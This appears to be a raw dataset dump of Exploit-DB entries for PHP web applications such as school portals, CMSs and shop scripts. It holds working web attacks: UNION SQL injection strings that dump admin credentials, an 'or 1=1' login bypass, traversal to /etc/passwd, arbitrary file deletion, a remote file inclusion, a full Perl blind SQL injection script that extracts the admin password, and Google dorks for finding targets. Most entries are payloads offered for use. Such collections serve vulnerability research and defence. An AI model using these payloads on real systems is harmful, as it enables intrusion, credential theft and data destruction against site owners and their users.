deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28839
Description: SchoolAlumni Portal 2.26 - '/smumdadotcom_ascyb_alumni/mod.php?katalog Module query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-23
Author: MP

Exploit:
source: https://www.securityfocus.com/bid/20673/info

SchoolAlumni portal is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include a local file-include vulnerability and a cross-site scripting vulnerability. 

A successful exploit may allow an attacker to compromise the application, access sensitive information, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and launch other attacks.

Version 2.26 is vulnerable to this issue; other versions may also be affected.

http://www.example.com//smumdadotcom_ascyb_alumni/mod.php?mod=katalog&op=search&query=[xss]
Exploit-DB #28840
Description: SchoolAlumni Portal 2.26 - 'mod.php?mod' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: MP

Exploit:
source: https://www.securityfocus.com/bid/20673/info
 
SchoolAlumni portal is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include a local file-include vulnerability and a cross-site scripting vulnerability. 
 
A successful exploit may allow an attacker to compromise the application, access sensitive information, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and launch other attacks.
 
Version 2.26 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/mod.php?mod=../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #31888
Description: SchoolCenter 7.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-06
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/29591/info

SchoolCenter is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/education/components/docmgr/default.php?sectiondetailid=2179&fileitem=477&catfilter=XSS
http://www.example.com/education/components/docmgr/default.php?sectiondetailid=#XSS
http://www.example.com/education/components/scrapbook/default.php?sectiondetailid=#XSS
http://www.example.com/education/district/district.php?sectiondetailid=#XSS
http://www.example.com/education/admin/XSS
http://www.example.com/education/components/XSS
http://www.example.com/education/components/whatsnew/default.php?sectiondetailid=#XSS
Exploit-DB #23106
Description: SchoolCMS - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-03
Author: VipVince

Exploit:
Title: SchoolCMS Persistant XSS.
#Date: 03/12/12
#Author: VipVince
#Vendor: www.poweritschools.com
#Google Dork: /old_core/cal/eventform.php
#Tested on: Windows.

This is a Persistant XSS used in the software by many schools.

About 225 results (0.21 seconds) 

The vulnerability lies in the eventform.php file.

Entering your JavaScript into the form boxes and saving the event will store and trigger your persistent XSS script. Simplez. Have fun.
Exploit-DB #41489
Description: SchoolDir - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-01
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: SchoolDir - SQL Injection
# Google Dork: N/A
# Date: 01.03.2017
# Vendor Homepage: http://www.brynamics.xyz/
# Software: https://codecanyon.net/item/schooldir/19326269
# Demo: http://www.brynamics.xyz/schooldir/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?searchItem=[SQL]&criteria=schools
# http://localhost/[PATH]/sortsearch?School_type=[SQL]&fees=2&ownership=federal&location=Nigeria&searchItem=Harvard+University&criteria=schools
# If you don't know to use the vulnerabilities, you don't need to check it.
# Etc...
# # # # #
Exploit-DB #37460
Description: Schoolhos CMS - HTML Injection
Type: webapps
Platform: php
Date: 2012-06-27
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/54204/info

Schoolhos CMS is prone to an arbitrary file-upload vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could exploit these issues to execute arbitrary script code in a user's browser in the context of the affected site or execute arbitrary code on the server.

Schoolhos CMS 2.29 is vulnerable; other versions may also be affected. 

http://www.example.com/schoolhos/index.php?p=detberita&id=xxx [XSS]
Exploit-DB #22157
Description: Schoolhos CMS Beta 2.29 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-10-22
Author: Cumi

Exploit:
# Exploit Title: Schoolhos CMS SQL Injetions
# Google Dork: intext:Schoolhos Free Open Source CMS
# Date: 22 Oktober 2012
# Exploit Author: Cumi++
# Vendor Homepage: http://schoolhos.com/
# Version: Beta 2.29
# Tested on: Ubuntu 12.04
# =======================================================

Descripcion : Schoolhos is an education and e-learning CMS, have used by more school..

http://127.0.0.1/schoolhost/index.php?p=info&id='3
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/me/public_html/coretan\tema\hijau\konten.php on line 219

Exploit:
  
    SQL : SQL injection
           http://127.0.0.1/schoolhost/index.php?p=info&id='3'+union+all+select[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2Cversion()%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777--Cumi++

========================================================
Its first time..
Salam Rusuh...
Indonesian Coder, Indonesian Hacker, Pekanbaru Cyber..

Tembilahan Coder Crew.
When A Code Can Change The World
Exploit-DB #44873
Description: Schools Alert Management Script - 'get_sec.php' SQL Injection
Type: webapps
Platform: php
Date: 2018-06-11
Author: M3@Pandas

Exploit:
# Exploit Title: Schools Alert Management Script - 'get_sec.php' SQL Injection
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/3
# Tested on: Linux Mint
# CVE: CVE-2018-12052

# Proof of Concept：

/get_sec.php?q=1'+/*!50000union*/+select+1,/*!50000concat*/(user(),0x7e7e,database(),0x7e7e,@@version)%23
Exploit-DB #44870
Description: Schools Alert Management Script - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2018-06-11
Author: M3@Pandas

Exploit:
# Exploit Title: Schools Alert Management Script - Arbitrary File Deletion
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/6
# Tested on: Linux Mint
# CVE: CVE-2018-12053

# Proof of Concept：

/delete_img.php?img=./uploads/school_logos/1528_x1.php
# notice: There is a risk of file deletion，you'd better test it combined with file upload vulnerability.
# Attackers can delete any file through parameter 'img' with '../' .
Exploit-DB #44874
Description: Schools Alert Management Script - Arbitrary File Read
Type: webapps
Platform: php
Date: 2018-06-11
Author: M3@Pandas

Exploit:
# Exploit Title: Schools Alert Management Script - Arbitrary File Read
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/4
# Tested on: Linux Mint
# CVE: CVE-2018-12054

# Proof of Concept：

/img.php?f=/./etc/./passwd
Exploit-DB #42578
Description: Schools Alert Management Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ali BawazeEer

Exploit:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<!-- 
# Exploit Title:  Schools Alert Management - SQL injection login bypass 
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://www.phpscriptsmall.com/product/schools-alert-management-system/
# Version: 2.01
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
--!>

# ========================================================
#
#
# Schools Alert Management - SQL injection login bypass 
# 
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin of the particular school
# 
# Proof of Concept : - 
# 
# http://localhost/schoolalert/demo_school_name/schools_login.php  [ set username and password ] to >>  admin' or 1=1 -- - 
#  you must choose the check box as management 
#   
# 
# 
#
# Risk : authenticated attacker maybe starting posting item in the site or compromise the site 
#
#
# ========================================================
# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained 
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
#
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
Exploit-DB #44866
Description: Schools Alert Management Script - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-11
Author: M3@Pandas

Exploit:
# Exploit Title: Schools Alert Management Script - SQL Injection
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/2
# Tested on: Linux Mint
# CVE: CVE-2018-12055

# Vulnerable cgi:
contact_us.php faq.php about.php photo_gallery.php privacy.php

# Proof of Concept：

POST http://localhost/[PATH]/photo_gallery.php DATA xxx'/**/union/**/all/**/select/**/1,user(),3,4#
Exploit-DB #41534
Description: Schools Alert Management Script 2.01 - 'list_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Schools Alert Management Script v2.01 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/schools-alert-management-system/
# Demo: http://www.schoolcollageerp.com/schoolalert/
# Version: 2.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/view_school_list.php?list_id=[SQL]
# For example;
# -14'+/*!50000union*/+select+1,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,3,4,5,6,7,8,9,10,11,12,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),14,15--+-
# admin :Id
# admin :AdminName
# admin :AdminPass
# admin :AdminEmail
# admin :CreatedDate
# -14'+/*!50000union*/+select+1,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,3,4,5,6,7,8,9,10,11,12,/*!50000ConCat(*/AdminName,/*!50000char*/(58),AdminPass),14,15+from+admin--+-
# Etc...
# # # # #
Exploit-DB #15771
Description: SchuldnerBeratung - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
+Name : SchuldnerBeratung ( Login) SQL injection Vulnerability
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : SchuldnerBeratung
+Site : http://www.mhproducts.de/catalogsearch/result/?q=Schuldnerprojekt
+Download : ----
+Dork : Not Dork
+Price : 8,99 EURO
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrir TIM =>> www.cyber-warrior.org
+Greetz to All Cyber-Warrior Members
---------------------------------------------------------------------------------------


*Acılarımı dinliyorum sessiz sedasız.. Meğer ne çığlıklar atıyormuş..
Kaybettiklerimi düşünüyorum zaman zaman.. Meğer ne çok zamanımı almış...
Geçen zamanı düşünüyorum sonra acele etmeden usul usul..
Meğer o geçerken nasılda acele etmiş akmış gitmiş..
Aynaya bakıyorum Bedenim genç ama ruhum yaşlanmış... *
----------------------------------------------------------------------------------------

Bug ;
target/path/webseite/login.php

User : '
Passwort : '
Exploit-DB #10543
Description: Schweizer NISADA Communication CMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                                  ALGERIAN HACKER
    **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            Schweizer NISADA Communication CMS SQL Injection Vulnerability
  [!] Author    : Dr.0rYX and Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de<mailto:vx3@hotmail.de>  &  Cr3w@hotmail.de<mailto:Cr3w@hotmail.de>

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://www.nisada.ch/
  [+] script   : Schweizer NISADA Communication CMS
  [+] Download : http://www.nisada.ch/contact.aspx (sell script )
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"/CMS/page.php?p="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/cms/page.php?p=1&img=[N.A.S.T ]



  [ Exploit ]

  http://server/cms/page.php?p=1&img=-1+UNION+ALL+select+1,2,3,4,5,GROUP_concat(CONVERT(num USING utf8),0x3a,CONVERT(user USINGutf8),0x3a,CONVERT(pswd USING utf8)),7,8,9,10,11,12,13,14+from+adm_user


  [ ExOMPLE ]
  http://server/cms/page.php?p=1&img=-207+UNION+ALL+select+1,2,3,4,5,GROUP_concat%28CONVERT%28num%20USING%20utf8%29,0x3a,CONVERT%28user%20USING%20utf8%29,0x3a,CONVERT%28pswd%20USING%20utf8%29%29,7,8,9,10,11,12,13,14+from+adm_user

  [  GReet ]

  [+] :claw ,xCv-DZ , HIS0K4 ,le0n ,www.arab-zone.org , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #5885
Description: Scientific Image DataBase 0.41 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-21
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

# Download: http://sidb.sourceforge.net/
# Dork: "Scientific Image DataBase"
# This exploit retrives the admin username/password via blind mysql injection.


print <<INFO; # heredocs is ugly.. so is my INFO ;)
-------------------------------------
- Scientific Image DataBase <= 0.41 -
-    Blind SQL Injection Exploit    -
-                                   -
- Coded && Discovered By: t0pP8uZz  -
-    Discovered On: 19 JUNE 2008    -
-------------------------------------
-Greetz: muts, perlunderground, h-y -
-          cipher, milw0rm          -
-------------------------------------

INFO

print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);

my ($substr, $done, $chr, $res) = (1, 1, 48, "");

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );
$ua->post($url."/login.php", { 'logon' => 'true', 'user' => 'guest', 'pwd' => 'guest', 'submit' => 'Login' } );

while($done) {
    my $content = $ua->get($url."/projects.php?show=true&id=57%20and%20ascii(substring((select%20pwd%20from%20users%20where%20userid=1),".$substr.",1))=".$chr);
    	
    if($content->content =~ /Not meant/ && length($res) == 32) { $done = 0; }
    elsif($content->content !~ /Not meant/) { $res .= chr($chr); $substr++; $chr = 48; }
    else { $chr++; }
}
print "Username: sysadmin  Password: ".$res."\n";
exit;

# milw0rm.com [2008-06-21]
Exploit-DB #37695
Description: Sciretech (Multiple Products) - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-09-04
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/55390/info

Sciretech Multimedia Manager and Sciretech File Manager are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sciretech Multimedia Manager 3.0.0 and Sciretech File Manager 3.0.0 are vulnerable; other versions may also be affected. 

Post Data:
dbuser_user_email=admin%40domain.com%27+and+99%3D99--+and+0%3D%270&dbuser_user_password=WILL_BYPASS_IT_LIKE_2X2&login=Login

Example URL:
http://www.example.com/index.php?module=user&content=execute&execute=user_account_activation&user_email=pipi@pipi.com%27%20or%20sleep%2810%29--%20and%205=%275&activation_key=TS0nz4hLVgZ83mrvgtPS
Exploit-DB #7818
Description: SCMS 1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-18
Author: ahmadbady

Exploit:
                           --:local file include:--
---------------------------------  
script:simple content management system v 1
   
-------------------------------------------------------
download from:http://futurekast.com/fcms/php/SCMSv1.zip
   
-------------------------------------------------------

...............................................
vul:/index.php line 34:

<?php 
 if (!isset($_GET['p']))
  include("../SCMSv1/includes/default.txt");
 } else include("includes/" . $_GET['p'] . ".txt");
 ?>
-------------------------------------------
-------------------------------------------
xpl:

http://127.0.0.1/path/index.php?p=[Lfi]%00

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from:[iran]
---------------------------------------------------

# milw0rm.com [2009-01-18]
Exploit-DB #26939
Description: Scoop 1.1 RC1 - Missing Story Error Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16014/info
 
Scoop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Scoop 1.1 RC1 is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/story/2005/11/4/184932/452[XSS]
http://www.example.com/story/2005/11/4/184932[XSS]
http://www.example.com/story/2005/11/4[XSS]
http://www.example.com/story/2005/11[XSS]
http://www.example.com/story/2005[XSS]
http://www.example.com/story/[XSS]
Exploit-DB #26938
Description: Scoop 1.1 RC1 Search Module - Multiple Cross-Site Scriptings
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16014/info

Scoop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Scoop 1.1 RC1 is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/?op=search&offset=0&old_count=30&type=[XSS]
http://www.example.com/?op=search&offset=0&old_count=30&type=story&topic=&section=&string=r0t&count=1[XSS]
Exploit-DB #5539
Description: ScorpNews 1.0 - 'site' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-04
Author: Silver

Exploit:
########################################################################
#
# /news/example.php <= Remote File Inclusion
#
# Found By: Silver - x.56[@]hotmail[d0t]de
#
# Website: www.silver-crystal-war.6x.to
#
# Version: S C O R P N E W S Version 2
#
# Location: Germany
#
########################################################################
#
#file ;
#
#example.php
#
#<? include $site.'.php';?>
#
#########################################################################
#
#example Exploit ;
#
#http://www.example.com/example.php?site=http://shell
#
#http://www.example.com/news/example.php?site=http://shell
# 
########################################################################
#
#Greetz to;
#
# .:National Security Team:. (www.crystal-war.6x.to)
#
########################################################################

# milw0rm.com [2008-05-04]
Exploit-DB #30662
Description: Scott Manktelow Design Stride 1.0 - 'Content Management System main.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-10-11
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/26041/info

Scott Manktelow Design Stride 1.0 Content Management System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/main.php?p=[SQL]
Exploit-DB #30664
Description: Scott Manktelow Design Stride 1.0 - 'Merchant shop.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-10-11
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/26046/info

Scott Manktelow Design Stride 1.0 Merchant is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/shop.php?cmd=sto&id=[SQL]
Exploit-DB #30660
Description: Scott Manktelow Design Stride 1.0 Courses - 'detail.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-10-11
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/26036/info

Stride 1.0 Courses is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/detail.php?course=[SQL]
http://www.example.com/detail.php?provider=[SQL]